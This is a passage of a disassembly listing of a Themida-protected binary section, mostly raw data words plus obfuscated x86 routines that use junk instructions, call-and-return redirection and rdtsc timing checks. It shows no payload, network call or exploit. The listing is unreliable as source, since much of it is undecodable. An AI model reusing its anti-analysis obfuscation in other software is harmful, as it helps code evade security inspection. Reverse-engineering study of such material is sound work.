0E9062821h, 84h dd 4290BD83h, 0F000628h, 185h, 8B57C300h, 28428CBDh, 8583AB06h dd 628428Ch, 83C35F04h, 284290BDh, 850F0006h, 1, 0AD8360C3h dd 628428Ch, 8C9D8B04h, 83062842h, 0FFFFC7Bh, 1D85h, 0B33F6800h dd 34817D07h, 7333F24h, 0FF006A7Dh, 8495FF33h, 61062842h dd 1DE9C3h, 8E680000h, 81288C6Dh, 0ED8E2434h, 6A288Ch dd 95FF33FFh, 6284284h, 428CAD83h, 0E9040628h, 0FFFFFFB1h dd 1ADE948h, 8B600000h, 8B242474h, 0FC28247Ch, 68A80B2h dd 47078846h, 2BBh, 0FD20200h, 585h, 46168A00h, 830FD212h dd 0FFFFFFE2h, 850FD202h, 5, 1246168Ah, 6A830FD2h, 33000000h dd 0FD202C0h, 585h, 46168A00h, 830FD212h, 12Ah, 850FD202h dd 5, 1246168Ah, 2C013D2h, 5850FD2h, 8A000000h, 0D2124616h dd 0D202C013h, 5850Fh, 168A0000h, 13D21246h, 0FD202C0h dd 585h, 46168A00h, 0C013D212h, 6840Fh, 2B570000h, 5F078AF8h dd 0BB470788h, 2, 0FFFF70E9h, 1B8FFh, 0D2020000h, 5850Fh dd 168A0000h, 13D21246h, 0FD202C0h, 585h, 46168A00h, 820FD212h dd 0FFFFFFDEh, 1BBC32Bh, 0F000000h, 3485h, 1B900h, 0D2020000h dd 5850Fh, 168A0000h, 13D21246h, 0FD202C9h, 585h, 46168A00h dd 820FD212h, 0FFFFFFDEh, 2BF78B56h, 5EA4F3F5h, 0FFFF08E9h dd 0E0C148FFh, 46068A08h, 1B9E88Bh, 2000000h, 5850FD2h dd 8A000000h, 0D2124616h, 0D202C913h, 5850Fh, 168A0000h dd 0FD21246h, 0FFFFDE82h, 7D003DFFh, 830F0000h, 22h, 5003Dh dd 0E820F00h, 41000000h, 2BF78B56h, 5EA4F3F0h, 0FFFEB4E9h dd 7FF883FFh, 3870Fh, 0C1830000h, 0F78B5602h, 0A4F3F02Bh dd 0FE9BE95Eh, 68AFFFFh, 0C0C93346h, 840F01E8h, 17h, 8B02D183h dd 0F78B56E8h, 0A4F3F02Bh, 1BB5Eh, 76E90000h, 2BFFFFFEh dd 8928247Ch, 611C247Ch, 0BA0008C2h, 929h, 9D3E9h, 8102B500h dd 0AFD60DB4h, 0EF5E118Ah, 7A724F6Eh, 65646024h, 7F4660EEh dd 0B1462AFDh, 775C11BAh, 8124E865h, 0A39406B9h, 0BD490382h dd 7D605E3Dh, 0A2F6F61h, 754C108Dh, 0BD4737E9h, 755C11E8h dd 8127E763h, 0BC941CB9h, 0BD56199Fh, 667E4223h, 61217B76h dd 620024EEh, 0F05637EDh, 601210BAh, 8131F363h, 0BDDB1AA0h dd 0B356179Fh, 63h dup(0) dd 8102B500h, 0B3DA07BDh, 0BD491999h, 6E7C553Eh, 206C6376h dd 305321E8h, 0FF4721EAh, 6C5D02E8h, 0D363E262h, 0B3DA06A5h dd 0F41B1183h, 666A0720h, 73217071h, 755433F9h, 9C286AE5h dd 78570898h, 816FE37Fh, 0B5D806A5h, 0F41B128Ch, 7B75073Ah dd 6D216F6Bh, 624F2DE5h, 0FF4364F1h, 7C4044ACh, 0D322F27Fh dd 0B5CD48A4h, 0ED1B0498h, 7B74483Ch, 2F6F65h, 48h dup(0) dd 8102B500h, 0B9D51AB3h, 0BA491386h, 6667073Dh, 68216E6Bh dd 720033E1h, 0B14C21EDh, 77470BAEh, 0D431A668h, 0B4DD06BEh dd 0F352568Ah, 7C7C5E6Eh, 79722276h, 7D4534F3h, 0C12F4EA6h dd 6A5301A4h, 0D463AA69h, 0BBDB04BEh, 0E9525689h, 6661416Eh dd 656C2269h, 69522FEDh, 0F54C25A8h, 6A5716E8h, 0D531E778h dd 0AFDB11F0h, 0EF4B569Fh, 68614021h, 2C69h, 61h dup(0) dd 0C805B500h, 0B9940DBCh, 0E8490482h, 6D76533Eh, 54212C25h dd 305329E8h, 0F64D36F8h, 395F05BAh, 8130E764h, 0B4D10DB2h dd 0F35A1BCDh, 65665727h, 64647665h, 744E21A0h, 0E84329A8h dd 143801AAh, 0D264F265h, 0BCDA01F0h, 0F84F1588h, 7071072Ah dd 56216324h, 635532E9h, 0B1502BA8h, 7A5316ABh, 8F27E367h dd 0B3DC3CF0h, 0F45D569Eh, 7E334222h, 74266C6Bh, 624F37A0h dd 0FF4364E3h, 6B5D09B1h, 0A869h, 0E0h dup(0) dd 4E4C5700h, 4C446D75h, 7250734Ch, 3000746Fh, 8 dup(0) dd 45000000h, 20746978h, 74617453h, 3D207375h, 642520h dd 2 dup(0) ; --------------------------------------------------------------------------- jmp loc_55103A ; --------------------------------------------------------------------------- db 81h, 0CAh, 44h dd 0FC0C223Ch, 11E8h, 317FCE00h, 0F90C292Ah, 5C17EBDEh dd 0E856912Ch, 0C381AAE3h, 30228CDFh, 0BBC08B5Bh, 4DA4814Fh dd 149BD83h, 75000628h, 0C5BD8309h, 62814h, 53501374h dd 1B8C08Bh, 8D000000h, 2AA4009Dh, 5BD3FF06h, 0C5BD8358h dd 62814h, 53501174h, 1B8h, 0B19D8D00h, 0FF062AA2h, 6A585BD3h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 14042444h dd 42000000h, 8B2AC352h, 2800519Dh, 0DA816606h, 6AB5AAh dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h dd 4B396DC3h, 0BA887CCEh, 36CF21BDh, 6AC08Bh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 160424h, 51410000h, 7497ECC3h dd 2919BD83h, 0F000628h, 1D584h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1704h, 0C3574700h, 0F7BEDE42h dd 0B2D68B66h, 59BD834Dh, 62823h, 1A4840Fh, 6A0000h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h dd 0F08174C3h, 447E72F8h, 8589E542h, 6281985h, 899D3160h dd 8B062816h, 28235985h, 5870F06h, 66000000h, 8741CB81h dd 3E805h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1904h, 0C3524200h, 0FB772D9Ch, 0BB506070h, 2B06DD09h dd 0E9240489h, 12h, 0DC237745h, 988A8D6Ah, 58CC8F89h, 0C694F390h dd 2FBA2DC2h, 8D69D639h, 284F4A85h, 9074B706h, 10E9h, 0ECF10F00h dd 79C878Eh, 45E1FC5Ch, 5B63BF3h, 0E96050FAh, 0Bh, 5CCF0A63h dd 5D6A7A4h, 61CC01DAh, 44BB6690h, 0CB81669Eh, 858DBCF3h dd 6284F28h, 850F50FCh, 3, 89D98B66h, 6A2404h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h dd 0F8D7EC3h, 189h, 13E9FC00h, 0B6000000h, 0F10F7B22h dd 9C878EECh, 0E1FC5C07h, 0B63BF345h, 95FFFA05h, 6280DF5h dd 1D419D89h, 0B70F0628h, 0CC483DEh, 1BCA8166h, 28858D8Fh dd 0E906284Fh, 0Bh, 1ACE01CCh, 6C5A7736h, 502D1A5Fh, 0B6608EBBh dd 24048945h, 0EB99589h, 26A0628h, 0FE8h, 6B33AA00h, 0A6737084h dd 2E3996ABh, 0D9E99747h, 2F98D31h, 0FF5B0628h, 6AED1495h dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h dd 0C3554500h, 0F666CD7Fh, 15958B21h, 61062818h, 1FD59529h dd 85C70628h, 6284F5Bh, 1, 27459589h, 0AE80628h, 90000000h dd 86962E86h, 199A0A44h, 58506055h, 61C6BF0Fh, 860F965Ah dd 6, 0A5BB6657h, 8A505B85h, 6A96DCh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 160424h, 51410000h, 0F07919C3h dd 0F7DB589h, 0B5890628h, 6284F0Ch, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 17h, 40C35141h, 8B579CB7h, 958589D0h dd 83062807h, 282415BDh, 850F0106h, 39h, 5D5BD89h, 0F8830628h dd 2A850F05h, 8B000000h, 0B8D0h, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 150424h, 50400000h, 3972EC3h dd 280EF595h, 0B9BD8306h, 62806h, 42840Fh, 9D030000h, 6282441h dd 57006A60h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h dd 0C3574700h, 891AB606h, 280951BDh, 0B995FF06h, 0BA062806h dd 0B07DCACh, 327DB589h, 53610628h, 5AFCCA80h, 511BD83h dd 0F000628h, 1384h, 0C19D8B00h, 0B806280Ch, 0 ; --------------------------------------------------------------------------- jg loc_54E6A4 mov bh, ah loc_54E6A4: ; CODE XREF: Themida_:0054E69Cj pusha or [ebp+6282379h], edx mov eax, [ebp+6281259h] ja loc_54E6BD mov ebx, [ebp+62816EDh] loc_54E6BD: ; CODE XREF: Themida_:0054E6B1j add eax, 2 mov [ebp+6281E65h], esi mov bx, 3505h mov [ebp+6284F04h], eax mov bh, ch mov byte ptr [eax], 0FFh mov bx, 70DEh mov byte ptr [ebp+6280D25h], 53h mov [ebp+62804E9h], esi mov ebx, edi push 0E9DE7E0Dh call sub_54E6FE mov al, 17h mov esp, [esp-3F90BE6Ch] xchg eax, ebp retf ; --------------------------------------------------------------------------- db 0Bh ; =============== S U B R O U T I N E ======================================= sub_54E6FE proc near ; CODE XREF: Themida_:0054E6EDp arg_0 = dword ptr 4 push eax push edx push ecx pop edx rdtsc mov dl, 2Bh pop edx pop eax pop ebx xor [esp-4+arg_0], 156F36D5h ; CODE XREF: sub_54E6FE+2Bj xor ebx, [ebp+62828FDh] push dword ptr [ebp+628140Dh] call near ptr loc_54E72F+1 rol byte ptr [ebx], cl mov ebp, 33562A1Ch push edi jl short near ptr loc_54E709+5 pop esi pop ds in al, 53h loc_54E72F: ; CODE XREF: sub_54E6FE+1Ep db 2Eh mov dx, 0A078h sub_54E6FE endp ; sp-analysis failed pop ebx lea eax, [ebp+62B6F58h] push eax sbb bx, 0C92Ch pop ebx call eax or ebx, [ebp+6280295h] mov [ebp+6280465h], eax add [ebp+6282DD9h], edx cmp dword ptr [ebp+62824F5h], 1 jnz loc_54E80F mov dx, 9A80h popa jl loc_54E771 add bh, 0C8h loc_54E771: ; CODE XREF: Themida_:0054E768j mov byte ptr [ebp+6280D25h], 45h and edx, [ebp+628292Dh] push 99484A2Fh call sub_54E796 iret ; --------------------------------------------------------------------------- db 0E5h, 9Fh, 32h dd 0E13AEF04h, 0FB20231Bh db 0BBh, 2Fh ; =============== S U B R O U T I N E ======================================= sub_54E796 proc near ; CODE XREF: Themida_:0054E783p call sub_54E7AE mov ds:0F438751Bh, eax nop fild qword ptr [edx+ecx*2] or ah, [eax-28A58716h] sub eax, [ebx-3] cmc sub_54E796 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_54E7AE proc near ; CODE XREF: sub_54E796p arg_4 = dword ptr 8 pop edx pop ebx xor [esp-8+arg_4], 432872EDh jz loc_54E7C5 js loc_54E7C5 push edi pop edx loc_54E7C5: ; CODE XREF: sub_54E7AE+9j ; sub_54E7AE+Fj push dword ptr [ebp+628140Dh] push 0 push edx call sub_54E7D6 and [edx-3Dh], bl sub_54E7AE endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_54E7D6 proc near ; CODE XREF: sub_54E7AE+20p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 18h inc edx push edx retn sub_54E7D6 endp ; --------------------------------------------------------------------------- dw 0DC1Fh dd 8D76AB46h, 2B6F5885h, 91B50106h, 0FF062825h, 7D9523D0h dd 6A062817h, 0C5958B00h, 0FF062811h, 35958BD0h ; --------------------------------------------------------------------------- daa sub [esi], al loc_54E80F: ; CODE XREF: Themida_:0054E75Dj cmp dword ptr [ebp+628064Dh], 1 jnz loc_54E924 push 0 push ecx call sub_54E827 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_54E827 proc near ; CODE XREF: Themida_:0054E81Fp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Bh inc ecx push ecx retn sub_54E827 endp ; --------------------------------------------------------------------------- db 18h dd 0F0AD0D76h, 0F8A7314h, 884h, 0D3815100h, 3101935h, 3860F5Bh dd 0F000000h, 858BDABFh, 6281259h, 0C8C0Fh, 8D0F0000h dd 6, 79BEE281h, 9CE90CA6h, 8B000000h, 280E2195h, 0D78B6606h dd 0AE850h, 760000h, 0E53097D8h, 7946CA9Ah, 14E9h, 577D4F00h dd 446FF16h, 900E1D33h, 2668DCE9h, 0C615749Ch, 4895B21h dd 52006A24h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h dd 0C3524200h, 0A8228547h, 6A0DF317h, 0FFE5B214h, 28046595h dd 28F0F06h, 0B3000000h, 6A5825h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1B0424h, 51410000h, 10C2FBC3h, 91C2822Ah dd 88B0FACh, 57000000h, 8B0Fh, 805A0000h, 850F0038h, 0FFFFFF64h dd 3830Fh, 0B70F0000h, 100C6D6h ; --------------------------------------------------------------------------- loc_54E924: ; CODE XREF: Themida_:0054E816j popa mov dx, bx cmp dword ptr [ebp+62818D1h], 0 jz loc_54E995 mov ebx, 4818A0F4h loc_54E93A: ; CODE XREF: Themida_:0054E972j push 0FFFFFFFFh push 0 push ebp call sub_54E947 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_54E947 proc near ; CODE XREF: Themida_:0054E93Fp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 16h inc ebp push ebp retn sub_54E947 endp ; --------------------------------------------------------------------------- sub dl, [esi+33h] sub ebx, 119CE661h xor ebx, [ebp+6280405h] call dword ptr [ebp+6280465h] mov [ebp+62826CDh], ebx jmp loc_54E93A ; --------------------------------------------------------------------------- push 0 push edi call sub_54E982 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_54E982 proc near ; CODE XREF: Themida_:0054E97Ap arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 16h inc edi push edi retn sub_54E982 endp ; --------------------------------------------------------------------------- dw 17C7h ; --------------------------------------------------------------------------- pop eax loc_54E995: ; CODE XREF: Themida_:0054E92Fj mov dword ptr [ebp+62818D1h], 1 mov dh, 0F3h mov [ebp+6284F10h], eax mov bx, si xor dh, 46h nop call near ptr loc_54E9BE+3 mov ebx, 700EBDD5h popf push cs adc [esi], ah mov ah, 0DFh loc_54E9BE: ; CODE XREF: Themida_:0054E9AEp and [edi+66525082h], ah mov edx, ecx rdtsc pusha popa pop edx pop eax pop edx push eax mov ebx, edi nop push 0 push ebx call sub_54E9DC and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_54E9DC proc near ; CODE XREF: Themida_:0054E9D4p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Ah inc ebx push ebx retn sub_54E9DC endp ; --------------------------------------------------------------------------- dd 0F547EC78h, 60B3A19Dh, 6A056AF9h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 20C9C353h dd 471F7761h, 76C0FA0Eh, 858DDEB6h, 6284F28h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0B9C35040h, 3CF005E4h dd 1DF76863h, 50D38A6Ah, 48A0Fh, 0BA660000h, 4898088h dd 41958924h, 8D06281Dh, 284F1885h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1604h, 0C3574700h, 909C9BE6h dd 6E950h, 59DB0000h, 2869C60Dh, 0B870F90h, 0E9000000h dd 6, 3344F57Ch, 95FFB8DDh, 6280ED9h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 17h, 7AC35747h, 895CBCBAh, 28272D95h dd 9C8D8D06h, 0F806287Ch, 1174C00Bh, 4F28858Dh, 0FF500628h dd 468589D1h, 0EB06284Fh, 4685C70Ah, 0FF06284Fh, 6AFFFFFFh dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1C042444h dd 45000000h, 9AA5C355h, 1B95900Ah, 0BBB72977h, 287FA20Eh dd 24E9B589h, 0F530628h, 687h, 0D5BD8900h, 5B062831h, 9E961h dd 624A0000h, 915A3A2Eh, 0C635D7D4h, 280D2585h, 6A4D06h dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h dd 0E86ACCC3h, 4, 0A43576A8h, 19ABBA66h, 8B14B750h, 0F042444h dd 58Dh, 0BB4BBB00h, 8B6464h, 2820Fh, 0D38B0000h, 4244489h dd 0B58DE8Ah, 280CF995h, 35B5FF06h, 8B062826h, 0D0B70FD9h dd 6F58858Dh, 0BA60062Bh, 45C8E3E7h, 13E9h, 915A3A00h dd 7335D7D4h, 6D09455h, 3A316F38h, 57E075D3h, 6AD0FF61h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1B042444h dd 40000000h, 8BC1C350h, 0B2B66E9Eh, 80F89283h, 8589C6EFh dd 6280DE9h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 15h, 40C35141h, 0EA81668Dh, 85C6A419h, 6280D25h, 958B5645h dd 6282649h, 7BEB685Ah, 0D68B2B98h, 7E240481h, 6A62D9EDh dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1D042444h dd 47000000h, 8563C357h, 2097C836h, 9F6FA6EFh, 34C1B589h dd 8E90628h, 0E7000000h, 0B67081F4h, 0FFE04FDCh, 28140DB5h dd 9113BB06h, 858D0C24h, 62B6F58h, 0B6D0FFF8h, 0DB816696h dd 8589653Fh, 6282EFDh, 1DB589F5h, 8B062832h, 66DD8AD2h dd 0AE9D98Ch, 0B7000000h, 8C781C4Bh, 0C8CE1F28h, 4C1F69Fh dd 217840Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 140424h, 55450000h, 0B589A2C3h, 62822D9h, 102E9h, 999D8B00h dd 8B062832h, 2805D1B5h, 0E1958B06h, 8106282Ch, 1180C6h dd 61BD8300h, 62809h, 2E850Fh, 6A0000h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 170424h, 51410000h, 6E188BC3h dd 0B760FC88h, 6183B2B3h, 0A6E9h, 0D9BF0F00h, 0F003E83h dd 9A84h, 61BA6600h, 9D8B6065h, 6283359h, 0F59952Bh, 146A0628h dd 4608BA53h, 0FF5A5CB1h, 28046595h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1904h, 0C3574700h, 80E62188h dd 958B8D3Bh, 62811D1h, 53006A61h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1904h, 0C3534300h, 8593A209h, 9D89ECE6h dd 6282521h, 0FFFF83E9h, 52006AFFh, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1604h, 0C3524200h, 0FBD577Ah, 28Ch, 0C7CEB700h dd 106h, 0BA665100h, 835AE91Dh, 284F10BDh, 850F0506h, 0E1h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 27C35040h dd 0DB4E7183h, 3810Fh, 0BF0F0000h, 0FDB58BD3h, 8B06282Eh dd 2816C195h, 64B906h, 8B660000h, 0E83E80D7h, 11840Fh dd 958B0000h, 6280909h, 39E9h, 31853100h, 80062822h, 0FC2057Eh dd 4F84h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1504h, 0C3524200h, 8509B87Bh, 6280C11h, 18418D09h, 0F460628h dd 68Ch, 9D9D8B00h, 49062818h, 0FF9F850Fh, 0BD89FFFFh dd 6280EE5h, 38E9h, 2D9D8B00h, 0FC062827h, 2A81B589h, 6A0628h dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h dd 36B4CFC3h, 8D012B99h, 6280185h, 3B7272BAh, 0FE9584Fh dd 0D2000000h, 0F749CBC3h, 0D4AE67C4h, 0ECE8D98Ah, 0BD839DD7h dd 628034Dh, 6E840F00h, 6A000001h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 0BB4BC351h dd 0FC1321DFh, 6880F4Eh, 8B000000h, 281A459Dh, 89958906h dd 6006282Dh, 2585C6FCh, 5406280Dh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 17h, 6DC35343h, 0FA0043Dh, 583h dd 0F812BA00h, 5668570Dh, 50B56C54h, 0F5BA6652h, 50310FEBh dd 0F4EB652h, 5AD38B31h, 81585A58h, 0EAA22434h, 6A4A22h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h dd 5DA0D3C3h, 667E39C6h, 0B5FFD88Bh, 628140Dh, 6820Fh dd 85890000h, 6282BA1h, 6F58858Dh, 958B062Bh, 6281D19h dd 6AD0FFh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h dd 52420000h, 344BAFC3h, 0CE860h, 0E4DD0000h, 37732F19h dd 0B20B1408h, 0EE90A06h, 51000000h, 0AD42BC80h, 0B26E13Fh dd 77C40754h, 6A615F88h, 0FFD98B00h, 28034DB5h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h dd 0B6376160h, 89D0FFD9h, 280D75B5h, 6A6106h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 6C9563C3h dd 8CF8EA20h, 51958BA8h, 0B2062808h, 0A185C7ADh, 1062825h dd 8B000000h, 2807699Dh, 8CBA6006h, 685AD418h, 0E61744B1h dd 481DA8Bh, 0E8BBCF24h, 9E96019h, 5E000000h, 0AAC6ACDAh dd 655D3937h, 61F18B66h, 958BFF6Ah, 62818F9h, 2D3595FFh dd 9D890628h, 6281011h, 53006A61h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1404h, 0C3534300h, 0A8B0F2Dh, 60000000h dd 238D8D89h, 61600628h, 0BA509061h, 4638589Ch, 0E860505Bh dd 13h, 0E2CD433Bh, 0A2640AD6h, 0A6A2FAE0h, 7B07D1A4h dd 8A2C16B2h, 0C78B59C3h, 6A9061h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 170424h, 52420000h, 9D81CBC3h, 0DE9D5h, 0E9D20000h dd 3C10E40Eh, 7DC0C703h, 665E0592h, 0C521EB81h, 1821858Bh dd 9D8B0628h, 6282979h, 840FC00Bh, 24h, 0FFDF8B66h, 28062595h dd 0FE806h, 0A3470000h, 0C6128D62h, 89FC4420h, 3E16043Bh dd 0E19D8BA8h, 5A062810h, 1E6985C7h, 10628h, 81660000h dd 831785E3h, 281E8DBDh, 840F0006h, 2Fh, 0E857006Ah, 3 dd 5FC35F20h, 4247C89h, 4244481h, 19h, 3C35747h, 2AB32DA0h dd 0FFD5B363h, 2831E995h, 9D9D2B06h, 8306282Fh, 28213DBDh dd 840F0006h, 37h, 3D95FFF9h, 6A06281Dh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 9565C353h dd 18BFF09Eh dd 8B185E72h, 28101D95h, 84E28106h, 83264415h, 2800D9BDh dd 840F0006h, 2Ah, 8E9h, 77F69400h, 6F17049Ah, 0DDBD83C6h dd 62802h, 10850Fh, 1CBA0000h, 0FF54B8AEh, 28346595h, 0D2816606h dd 0BD83D7B7h, 6282BA5h, 1B840F00h, 89000000h, 282F49B5h dd 91858106h, 3062802h, 81000040h, 282E5585h, 400306h dd 310FFC00h, 21B9958Bh, 8D8D0628h, 6285F00h, 0CB59D8Bh dd 1890628h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 16h, 0D0C35343h, 50BBF426h, 330F6498h, 27EB81C2h, 890C4A62h dd 66FC0441h, 0FEF61BBh, 57006A31h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1904h, 0C3574700h, 0B13CBE55h, 0E96015DAh dd 7, 0DB9B03F0h, 0F63739Bh, 8D61C6BFh, 285F0A8Dh, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h dd 18964E2h, 24819D33h, 0C2330628h, 9E960h, 5560000h, 61B3D25Ah dd 61752C80h, 8B044189h, 2804F99Dh, 2DBD8306h, 62820h dd 35840Fh, 95010000h, 6282BA1h, 337995FFh, 6A0628h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h dd 5AEBE3C3h, 0E989AA78h, 3D8589ABh, 83062800h, 282381BDh dd 850F0106h, 80h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 19h, 8FC35141h, 27D83014h, 11958B5Dh, 0E9062823h dd 54h, 18860Fh, 13E90000h, 1A000000h, 0F242CBE6h, 7B31DEDFh dd 305DD2B4h, 40211A2Bh, 0B58B7585h, 628604Eh, 6C7h, 0B58B0000h dd 6285E36h, 6C7h, 0E8CF0000h, 11h, 0D2D8D54Ch, 0E6AD53B9h dd 74CE5304h, 4E0BD00Fh, 459D894Dh, 5A062823h, 1E69BD83h dd 0F000628h, 13884h, 83DF8B00h, 2825D1BDh, 850F0106h dd 116h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 19h, 5C35545h, 9C36F1D9h, 0D2BF0FA4h, 4F048D8Bh, 0B5010628h dd 6282F79h, 8B0001C6h, 280DFD9Dh, 0D3806006h, 0D220683Dh dd 0F6B71E86h, 0A0243481h, 6A1E86D2h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 0CFFAC357h dd 17B19D29h, 0FF6A0628h, 7816C381h, 95FF3158h, 6282D35h dd 0C799D8Bh, 6A610628h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1A042444h, 47000000h, 0D789C357h, 413D1890h dd 68C0F76h, 89000000h, 280D4D8Dh, 47A9BB06h, 95FF278Fh dd 62802E9h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 14h, 8BC35545h, 5ACA8166h, 48D8B25h, 6A06284Fh, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h dd 43DEC353h, 0A6D7AF86h, 8166A487h, 0FE3AA9CAh, 0EDE28101h dd 6642710Dh, 0BD83DF8Bh, 62818BDh, 6850F01h, 81000000h dd 5EDABEE3h, 6AC08B45h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1A042444h, 47000000h, 24DAC357h, 0BD8C41Ah dd 8D9D8BD6h, 83062819h, 280149BDh, 9750006h, 14C5BD83h dd 74000628h, 8B53501Ah, 91858BC0h, 89062802h, 28029185h dd 5E9D8D06h, 0FF062AA5h, 83585BD3h, 2814C5BDh, 18740006h dd 858B5350h, 6280291h, 2918589h, 9D8D0628h, 62AA24Dh dd 585BD3FFh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 19h, 18C35141h, 66CA3A3Eh, 48BAF8F5h, 8B67EF1Ah, 33DA81C0h dd 83692E79h, 281E69BDh, 850F0006h, 3Bh, 0BD83DE8Ah, 62801F1h dd 2C840F00h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 17042444h, 47000000h, 695FC357h, 96B20307h dd 47E38166h, 959D89B4h, 83062834h, 281E69BDh, 840F0006h dd 26h, 8DCB8166h, 0A98D89FAh, 83062811h, 281025BDh, 840F0006h dd 0Eh, 298D2960h, 89062806h, 28231995h, 0BD836106h, 6281E69h dd 59840F00h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 17042444h, 42000000h, 4479C352h, 6EBB5D47h dd 83163372h, 281025BDh, 840F0006h, 28h, 0E853006Ah, 3 dd 5BC35B20h, 4245C89h, 4244481h, 1Ah, 36C35343h, 0DBE42779h dd 9D339C52h, 6283215h, 1E69BD83h, 0F000628h, 1584h, 15BD8300h dd 6281Eh, 8840Fh, 1510000h, 2804E9B5h, 0BD835A06h, 6281E69h dd 61840F00h, 8B000000h, 28164D95h, 83C0B606h, 282BC9BDh dd 840F0006h, 4Ch, 13E8h, 0E6589200h, 27D6C919h, 0DA43927Bh dd 2F1E385Fh, 1534356Eh, 25B9958Bh, 0FF5A0628h, 28150995h dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h dd 0C3514100h, 6A67D05Bh, 9D891566h, 628340Dh, 6AC08Bh dd 3E856h, 5E200000h, 74895EC3h, 44810424h db 24h, 4, 18h byte_54F75F db 0 ; CODE XREF: Themida_:0054BD03j dd 56460000h, 0C45CEFC3h, 8B601DAAh, 282C0DBDh, 852B6006h dd 6280B81h, 0BD836161h, 6280149h, 83097500h, 2814C5BDh dd 1A740006h, 0C08B5350h, 2E55858Bh, 85890628h, 6282E55h dd 0A5C59D8Dh, 0D3FF062Ah, 0BD83585Bh, 62814C5h, 50187400h dd 55858B53h, 8906282Eh, 282E5585h, 669D8D06h, 0FF062AA2h dd 89585BD3h, 2818498Dh, 2EBB6606h, 6AC08B12h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h dd 0F910C353h, 0ABF7369Ah, 0B70F70F1h, 0F19501D6h, 8306282Ch dd 281E69BDh, 840F0006h, 480h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 18h, 0FDC35040h, 0E8A44FE0h, 8B0Fh dd 9D8B0000h, 62818DDh, 24F5BD83h, 0F020628h, 3984h, 2880F00h dd 8A000000h, 0CDBD89D9h, 83062816h, 282381BDh, 850F0106h dd 1Eh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h dd 0A6C35242h, 2960B598h, 2821C985h, 48D8B06h, 6A06284Fh dd 3E85500h, 20000000h, 